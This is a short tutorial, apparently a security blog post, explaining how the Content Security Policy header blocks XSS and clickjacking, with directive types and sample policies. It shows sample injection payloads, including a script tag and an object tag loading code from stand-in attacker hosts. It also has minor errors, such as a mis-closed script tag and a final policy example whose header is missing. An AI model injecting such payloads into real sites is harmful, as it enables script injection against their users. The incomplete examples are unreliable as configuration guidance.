Content Security Policy explained

Every more or less experienced pentester has come into contact with the Content Security Policy header. Generalizing the whole thing, we could say that CSP allows you to define where resources (javascript code, css, images, etc.) used by an application can come from. CSP is among one of the most well-known headers used to defend against mini-XSS and clickjacking attacks. Knowing how CSP can be configured saves time in case of redteaming - we know right away which attacks can fail.

Protection against javascript code execution.

As we have already mentioned, this is one of several reasons for which CSP is used. OWASP highlights five ways to protect against XSS using CSP:

Restricting inline scripts

CSP blocks the direct execution of code located between the <script> tags On the one hand, this prevents the injection of malicious code, for example:

<script>alert(1)</script>

On the other hand, for those writing the application, it forces the code to be structured in such a way that events using javascript are handled via the element.addEventListener() method in the seperated file. What could this look like? Instead of:

<script>
  var myVar = 'bugspace'
<script>

We will use:

<script src="myScript.js">
</script>

Where the myScript.js file only holds the code var myVar = 'bugspace'. On the other hand, for the element.addEventListener() method, instead of:

<button id="firstButton" onclick="callSomething()">

We will add a listener:

document.getElementById("firstButton").addEventListener('click', callSomething);

Restricting scripts from external sources.

CSP prevents the loading of scripts from any source. The following attack will not work.

<script src="https://evil.bugspace.pl/evilCode.js"></script>

Restricting code classified as unsafe.

CSP prevents the execution of functions classified as unsafe. These include the eval function, which takes a string as an argument, which is executed as javascript code. Therefore, it will not be possible to run the following code.

eval("alert(1)")

Restricting form submissions

CSP effectively restricts the use of a form from a page. Thus, it will not be possible for it to be sent on behalf of the attacker after he or she has entered a dangerous site (such as a phishing campaign).

Restricting the ability to use the <object> tag.

CSP restricts the ability to use the tag in such a way that an attacker will not be able to inject malicious files such as flash into the page. Example malicious code:

<object data="https://evilpage.com/movie.swf"
  type="application/x-shockwave-flash">
</object>

CSP directives

Content security policy provides a number of directives, which are ranked according to their function. These include:

• directives for downloading files - they tell the browser from where to download resources in the form of scripts, images, vector files and so on,
• document directives - instruct the browser about the document properties it will use,
• navigation directives - tell the browser where the document can navigate to,
• reporting directives - are dependent on other directives and deal with reporting settings,
• special directives - some of these we have already mentioned. These include min directives:. allowing the use of scripts or inline styles and eval functions.

CSP in practice

Let's start with something universal.

Content-Security-Policy: default-src 'self'; frame-ancestors 'self'; form-action 'self';

What was set in the directives above? All resources must be hosted by the same common domain. In addition, we will not use the eval function and inline scripts, and external sites will not be able to drop it into an iframe or use its forms.

Content-Security-Policy: upgrade-insecure-requests;

The above header makes all requests encrypted.

Allow Google Analytics, Google AJAX CDN and Same Origin

In the last example, it is set to be possible to use Google Analytics scripts, Google AJAX CDN and those hosted by the same domain.

Sources

https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object
https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener
https://content-security-policy.com/